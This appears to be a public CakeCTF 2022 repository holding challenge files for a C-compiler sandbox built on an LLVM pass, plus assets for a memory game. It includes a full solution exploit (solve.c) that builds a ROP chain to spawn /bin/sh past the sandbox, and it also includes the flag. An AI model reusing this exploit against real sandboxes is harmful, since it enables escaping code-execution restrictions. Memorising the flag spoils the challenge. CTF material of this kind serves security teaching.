--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
6 | RUN apt-get -y install xinetd llvm-11 clang-11 python3
7 | RUN groupadd -r ctf && useradd -r -g ctf ctf
8 |
9 | ADD challenge/ctf.xinetd /etc/xinetd.d/ctf
10 | ADD challenge/init.sh /etc/init.sh
11 | ADD challenge/redir.sh /home/ctf/.redir.sh
12 | RUN chmod 550 /home/ctf/.redir.sh
13 | RUN chmod 700 /etc/init.sh
14 | RUN chmod 1733 /tmp /var/tmp /dev/shm
15 |
16 | WORKDIR /home/ctf
17 | ADD challenge/flag.txt flag.txt
18 | ADD distfiles/libCSandbox.so .
19 | ADD distfiles/compiler.py .
20 | RUN chmod 440 flag.txt
21 | RUN chmod 550 libCSandbox.so
22 | RUN chmod 550 compiler.py
23 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt
24 |
25 | RUN chown -R root:ctf /home/ctf
26 |
27 | RUN ls /home/ctf -lh
28 |
29 | RUN service xinetd restart
30 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.16.3)
2 |
3 | project(dummy NONE)
4 | set(CMAKE_C_COMPILER /usr/bin/clang-11 CACHE PATH "")
5 | set(CMAKE_CXX_COMPILER /usr/bin/clang++-11 CACHE PATH "")
6 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++1z")
7 |
8 | project(CSandbox)
9 |
10 | find_package(LLVM REQUIRED CONFIG HINTS "/usr/lib/llvm-11/")
11 |
12 | message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}")
13 | message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}")
14 |
15 | include_directories(${LLVM_INCLUDE_DIRS})
16 | add_definitions(${LLVM_DEFINITIONS})
17 |
18 | add_library(CSandbox SHARED sandbox.cpp)
19 | target_link_libraries(CSandbox ${llvm_libs})
20 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/compiler.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import os
3 | import random
4 |
5 | def tempname(extension='', length=16, directory='/tmp'):
6 | name = '{:x}'.format(random.randrange(0, 1<<(length*8)))
7 | return directory + '/' + name.zfill(length) + extension
8 |
9 | def c_compile(code):
10 | c_path = tempname(extension='.c')
11 | bc_path = tempname(extension='.bc')
12 | ir_path = tempname(extension='.ir')
13 | asm_path = tempname(extension='.asm')
14 | elf_path = tempname(extension='.bin')
15 | with open(c_path, 'w') as f:
16 | f.write(code)
17 |
18 | print("[+] Generating bitcode...")
19 | r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null'
20 | .format(c_path, bc_path))
21 | os.unlink(c_path)
22 | if r != 0: return
23 |
24 | print("[+] Instrumenting...")
25 | r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null'
26 | .format(bc_path, ir_path))
27 | os.unlink(bc_path)
28 | if r != 0:
29 | os.unlink(ir_path)
30 | return
31 |
32 | print("[+] Translating to assembly...")
33 | r = os.system('llc-11 {} -o {} 2>/dev/null'
34 | .format(ir_path, asm_path))
35 | os.unlink(ir_path)
36 | if r != 0: return
37 |
38 | print("[+] Compiling...")
39 | r = os.system('clang-11 {} -o {} 2>/dev/null'
40 | .format(asm_path, elf_path))
41 | os.unlink(asm_path)
42 | if r != 0: return
43 |
44 | return elf_path
45 |
46 | if __name__ == '__main__':
47 | print("Enter your C code (Type 'EOF' to quit input)")
48 | code = ''
49 | while True:
50 | line = input()
51 | if line == 'EOF': break
52 | code += line + '\n'
53 | if len(code) > 1024:
54 | print("[-] Too long")
55 | exit(1)
56 |
57 | elf_path = c_compile(code)
58 | if elf_path is None:
59 | print("[-] Compilation failed")
60 | exit(1)
61 |
62 | print("[+] Running...")
63 | os.system("timeout -s KILL --foreground 60 {}".format(elf_path))
64 | os.unlink(elf_path)
65 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/ctf.xinetd:
--------------------------------------------------------------------------------
1 | service pwn
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = ctf
8 | type = UNLISTED
9 | bind = 0.0.0.0
10 | port = 9999
11 | server = /home/ctf/.redir.sh
12 | rlimit_as = 1024M
13 | }
14 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
2 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/init.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | service xinetd restart && /bin/sleep infinity
3 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/redir.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | cd /home/ctf && ./compiler.py
3 |
--------------------------------------------------------------------------------
/misc/c_sandbox/challenge/sandbox.cpp:
--------------------------------------------------------------------------------
1 | #include "llvm/IR/IRBuilder.h"
2 | #include "llvm/IR/LegacyPassManager.h"
3 |
4 | using namespace llvm;
5 |
6 | struct Sandbox : public ModulePass {
7 | static char ID;
8 |
9 | Sandbox() : ModulePass(ID) {}
10 |
11 | bool initialize(Module &M) {
12 | return true;
13 | }
14 |
15 | bool runOnModule(Module &M) override {
16 | for (auto& F: M) {
17 | runOnFunction(F, M);
18 | }
19 | return false;
20 | }
21 |
22 | bool runOnFunction(Function &F, Module &M) {
23 | for (auto& BB: F) {
24 | runOnBasicBlock(BB, M);
25 | }
26 | return false;
27 | }
28 |
29 | bool runOnBasicBlock(BasicBlock &BB, Module &M) {
30 | for (auto& I: BB) {
31 | if (auto ci(dyn_cast(&I)); ci) {
32 | /* Get function name to be called */
33 | auto func = ci->getCalledFunction();
34 | if (!func) {
35 | auto *value = ci->getCalledOperand();
36 | func = dyn_cast(value->stripPointerCasts());
37 | }
38 |
39 | /* Allow these function calls */
40 | if (func &&
41 | (func->getName() == "puts"
42 | || func->getName() == "printf"
43 | || func->getName() == "__isoc99_scanf"
44 | || func->getName() == "exit"))
45 | continue;
46 |
47 | /* Otherwise insert trap */
48 | std::string str_I;
49 | raw_string_ostream(str_I) << I;
50 | IRBuilder<> builder(&I);
51 | auto msg = builder.CreateGlobalStringPtr(
52 | "[C-Sandbox] Invalid function call: " + str_I
53 | );
54 | auto func_puts = cast(
55 | M.getOrInsertFunction("puts",
56 | builder.getInt32Ty(),
57 | builder.getInt8PtrTy()).getCallee()
58 | );
59 | auto func_exit = cast(
60 | M.getOrInsertFunction("exit",
61 | builder.getVoidTy(),
62 | builder.getInt32Ty()).getCallee()
63 | );
64 | builder.CreateCall(func_puts, msg);
65 | builder.CreateCall(func_exit, builder.getInt32(1));
66 | }
67 | }
68 |
69 | return false;
70 | }
71 | };
72 |
73 | char Sandbox::ID = 0;
74 | static RegisterPass X("Sandbox",
75 | "Deny dangerous system calls",
76 | false,
77 | false);
78 |
--------------------------------------------------------------------------------
/misc/c_sandbox/distfiles/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.16.3)
2 |
3 | project(dummy NONE)
4 | set(CMAKE_C_COMPILER /usr/bin/clang-11 CACHE PATH "")
5 | set(CMAKE_CXX_COMPILER /usr/bin/clang++-11 CACHE PATH "")
6 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++1z")
7 |
8 | project(CSandbox)
9 |
10 | find_package(LLVM REQUIRED CONFIG HINTS "/usr/lib/llvm-11/")
11 |
12 | message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}")
13 | message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}")
14 |
15 | include_directories(${LLVM_INCLUDE_DIRS})
16 | add_definitions(${LLVM_DEFINITIONS})
17 |
18 | add_library(CSandbox SHARED sandbox.cpp)
19 | target_link_libraries(CSandbox ${llvm_libs})
20 |
--------------------------------------------------------------------------------
/misc/c_sandbox/distfiles/Dockerfile:
--------------------------------------------------------------------------------
1 | # docker build . -t c_sandbox
2 | # docker run -it c_sandbox
3 | FROM ubuntu:20.04
4 |
5 | ENV DEBIAN_FRONTEND noninteractive
6 |
7 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
8 | RUN apt-get -y install xinetd llvm-11 clang-11 python3
9 | RUN groupadd -r ctf && useradd -r -g ctf ctf
10 |
11 | WORKDIR /home/ctf
12 | ADD libCSandbox.so .
13 | ADD compiler.py .
14 | RUN chmod 550 libCSandbox.so
15 | RUN chmod 550 compiler.py
16 |
17 | RUN chown -R root:ctf /home/ctf
18 |
19 | CMD ["python3", "compiler.py"]
20 |
--------------------------------------------------------------------------------
/misc/c_sandbox/distfiles/compiler.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import os
3 | import random
4 |
5 | def tempname(extension='', length=16, directory='/tmp'):
6 | name = '{:x}'.format(random.randrange(0, 1<<(length*8)))
7 | return directory + '/' + name.zfill(length) + extension
8 |
9 | def c_compile(code):
10 | c_path = tempname(extension='.c')
11 | bc_path = tempname(extension='.bc')
12 | ir_path = tempname(extension='.ir')
13 | asm_path = tempname(extension='.asm')
14 | elf_path = tempname(extension='.bin')
15 | with open(c_path, 'w') as f:
16 | f.write(code)
17 |
18 | print("[+] Generating bitcode...")
19 | r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null'
20 | .format(c_path, bc_path))
21 | os.unlink(c_path)
22 | if r != 0: return
23 |
24 | print("[+] Instrumenting...")
25 | r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null'
26 | .format(bc_path, ir_path))
27 | os.unlink(bc_path)
28 | if r != 0:
29 | os.unlink(ir_path)
30 | return
31 |
32 | print("[+] Translating to assembly...")
33 | r = os.system('llc-11 {} -o {} 2>/dev/null'
34 | .format(ir_path, asm_path))
35 | os.unlink(ir_path)
36 | if r != 0: return
37 |
38 | print("[+] Compiling...")
39 | r = os.system('clang-11 {} -o {} 2>/dev/null'
40 | .format(asm_path, elf_path))
41 | os.unlink(asm_path)
42 | if r != 0: return
43 |
44 | return elf_path
45 |
46 | if __name__ == '__main__':
47 | print("Enter your C code (Type 'EOF' to quit input)")
48 | code = ''
49 | while True:
50 | line = input()
51 | if line == 'EOF': break
52 | code += line + '\n'
53 | if len(code) > 0x1000:
54 | print("[-] Too long")
55 | exit(1)
56 |
57 | elf_path = c_compile(code)
58 | if elf_path is None:
59 | print("[-] Compilation failed")
60 | exit(1)
61 |
62 | print("[+] Running...", flush=True)
63 | os.system("timeout -s KILL --foreground 60 {}".format(elf_path))
64 | os.unlink(elf_path)
65 |
--------------------------------------------------------------------------------
/misc/c_sandbox/distfiles/libCSandbox.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/c_sandbox/distfiles/libCSandbox.so
--------------------------------------------------------------------------------
/misc/c_sandbox/distfiles/sandbox.cpp:
--------------------------------------------------------------------------------
1 | #include "llvm/IR/IRBuilder.h"
2 | #include "llvm/IR/LegacyPassManager.h"
3 |
4 | using namespace llvm;
5 |
6 | struct Sandbox : public ModulePass {
7 | static char ID;
8 |
9 | Sandbox() : ModulePass(ID) {}
10 |
11 | bool initialize(Module &M) {
12 | return true;
13 | }
14 |
15 | bool runOnModule(Module &M) override {
16 | for (auto& F: M) {
17 | runOnFunction(F, M);
18 | }
19 | return false;
20 | }
21 |
22 | bool runOnFunction(Function &F, Module &M) {
23 | for (auto& BB: F) {
24 | runOnBasicBlock(BB, M);
25 | }
26 | return false;
27 | }
28 |
29 | bool runOnBasicBlock(BasicBlock &BB, Module &M) {
30 | for (auto& I: BB) {
31 | if (auto ci(dyn_cast(&I)); ci) {
32 | /* Get function name to be called */
33 | auto func = ci->getCalledFunction();
34 | if (!func) {
35 | auto *value = ci->getCalledOperand();
36 | func = dyn_cast(value->stripPointerCasts());
37 | }
38 |
39 | /* Allow these function calls */
40 | if (func &&
41 | (func->getName() == "puts"
42 | || func->getName() == "printf"
43 | || func->getName() == "__isoc99_scanf"
44 | || func->getName() == "exit"))
45 | continue;
46 |
47 | /* Otherwise insert trap */
48 | std::string str_I;
49 | raw_string_ostream(str_I) << I;
50 | IRBuilder<> builder(&I);
51 | auto msg = builder.CreateGlobalStringPtr(
52 | "[C-Sandbox] Invalid function call: " + str_I
53 | );
54 | auto func_puts = cast(
55 | M.getOrInsertFunction("puts",
56 | builder.getInt32Ty(),
57 | builder.getInt8PtrTy()).getCallee()
58 | );
59 | auto func_exit = cast(
60 | M.getOrInsertFunction("exit",
61 | builder.getVoidTy(),
62 | builder.getInt32Ty()).getCallee()
63 | );
64 | builder.CreateCall(func_puts, msg);
65 | builder.CreateCall(func_exit, builder.getInt32(1));
66 | }
67 | }
68 |
69 | return false;
70 | }
71 | };
72 |
73 | char Sandbox::ID = 0;
74 | static RegisterPass X("Sandbox",
75 | "Deny dangerous system calls",
76 | false,
77 | false);
78 |
--------------------------------------------------------------------------------
/misc/c_sandbox/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | csandbox:
4 | build:
5 | context: .
6 | working_dir: /home/ctf
7 | container_name: csandbox
8 | ulimits:
9 | nproc: 65535
10 | core: 0
11 | ports:
12 | - "10099:9999"
13 | entrypoint: /etc/init.sh
14 | restart: always
15 |
--------------------------------------------------------------------------------
/misc/c_sandbox/solution/solve.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int i;
5 | void *rop_ret, *rop_pop_rdi;
6 | void **rop_chain;
7 |
8 | long gadget_ret() { return 0xc3; }
9 | long gadget_pop_rdi() { return 0xc35f; }
10 |
11 | int main() {
12 | char buf[0x10];
13 |
14 | /* Find ROP gadgets */
15 | for (rop_ret = gadget_ret; ; rop_ret++) {
16 | if (*(unsigned char*)(rop_ret) == 0xc3) {
17 | printf("[+] Found 'ret;' at %p\n", rop_ret);
18 | break;
19 | }
20 | }
21 |
22 | for (rop_pop_rdi = gadget_pop_rdi; ; rop_pop_rdi++) {
23 | if (*(unsigned char*)(rop_pop_rdi) == 0x5f
24 | && *(unsigned char*)(rop_pop_rdi+1) == 0xc3) {
25 | printf("[+] Found 'pop rdi; ret;' at %p\n", rop_pop_rdi);
26 | break;
27 | }
28 | }
29 |
30 | /* Dumps stack for debug */
31 | puts("--- Stack Dump ---");
32 | for (i = 0; i < 0x80; i += 8) {
33 | printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i));
34 | }
35 |
36 | /* Inject ROP chain */
37 | puts("[+] Injecting ROP chain...");
38 | rop_chain = (void*)buf;
39 | for (i = 0; i < 0x8; i++) {
40 | *rop_chain++ = rop_ret;
41 | }
42 | *rop_chain++ = rop_pop_rdi;
43 | *rop_chain++ = "/bin/sh";
44 | *rop_chain++ = system;
45 | *rop_chain++ = rop_pop_rdi;
46 | *rop_chain++ = (void*)0;
47 | *rop_chain++ = exit;
48 |
49 | /* Dumps stack for debug */
50 | puts("--- Stack Dump ---");
51 | for (int i = 0; i < 0x80; i += 8) {
52 | printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i));
53 | }
54 |
55 | return 0;
56 | }
57 |
--------------------------------------------------------------------------------
/misc/c_sandbox/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: C-Sandbox
3 | description: >
4 | I designed a restricted C compiler!
5 | nc {host} {port}
6 | flag: "CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}"
7 | author: ptr-yudai
8 | host: misc.2022.cakectf.com
9 | port: 10099
10 | tags:
11 | - misc
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "challenge"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [profile.release]
7 | strip = true
8 | opt-level = "z"
9 | lto = true
10 | codegen-units = 1
11 | panic = "abort"
12 |
13 | [dependencies]
14 | glam = "0.20.2"
15 | ggez = "0.8.0-rc0"
16 | obfstr = "0.3.0"
17 | rand = "0.8.5"
18 |
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/beep/click.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/click.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/beep/correct.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/correct.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/beep/wrong.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/wrong.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/blue.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/blue.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/burgundy.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/burgundy.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/cake.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/cake.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/coquelicot.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/coquelicot.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/e.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/e.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/flag.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/flag.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/g.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/g.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/green.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/green.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/heart.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/heart.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/j.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/j.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/kitten.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/kitten.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/lambda.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/lambda.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/omega.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/omega.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/orange.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/orange.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/pi.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/pi.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/question.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/question.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/r1.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r1.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/r2.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r2.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/r3.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r3.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/r4.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r4.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/r5.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r5.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/red.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/red.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/smiley.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/smiley.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/tangerine.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/tangerine.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/theta.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/theta.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/turquoise.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/turquoise.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/violet.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/violet.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/white.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/white.wav
--------------------------------------------------------------------------------
/misc/cake_memory/challenge/resources/snd/voice/yellow.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/yellow.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/CakeMemory.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/CakeMemory.exe
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/CakeMemory.linux:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/CakeMemory.linux
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/hint.rs:
--------------------------------------------------------------------------------
1 | // REDUCTED
2 |
3 | static SOUNDS: [SoundName; 24] = [
4 | SoundName::VoiceBlue, SoundName::VoiceRed,
5 | SoundName::VoiceYellow, SoundName::VoiceGreen,
6 | SoundName::VoiceViolet, SoundName::VoiceOrange,
7 | SoundName::VoiceWhite, SoundName::VoiceJ,
8 | SoundName::VoiceHeart, SoundName::VoiceQuestion,
9 | SoundName::VoicePi, SoundName::VoiceSmiley,
10 | SoundName::VoiceOmega, SoundName::VoiceTurquoise,
11 | SoundName::VoiceTheta, SoundName::VoiceG,
12 | SoundName::VoiceKitten, SoundName::VoiceTangerine,
13 | SoundName::VoiceCake, SoundName::VoiceLambda,
14 | SoundName::VoiceBurgundy, SoundName::VoiceE,
15 | SoundName::VoiceCoquelicot, SoundName::VoiceFlag
16 | ];
17 |
18 | // REDUCTED
19 |
20 | struct MusicalMemory {
21 | // REDUCTED
22 | mem_order: Vec,
23 | mem_sound: Vec,
24 | // REDUCTED
25 | }
26 |
27 | // REDUCTED
28 |
29 | fn draw(&mut self, ctx: &mut Context) -> GameResult<()> {
30 | // REDUCTED
31 | current = self.sound.get_mut(&self.mem_sound[
32 | self.mem_order[self.show_count]
33 | ]);
34 | // REDUCTED
35 | }
36 |
37 | // REDUCTED
38 |
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/beep/click.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/click.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/beep/correct.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/correct.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/beep/wrong.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/wrong.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/blue.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/blue.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/burgundy.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/burgundy.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/cake.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/cake.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/coquelicot.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/coquelicot.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/e.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/e.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/flag.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/flag.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/g.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/g.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/green.wav:
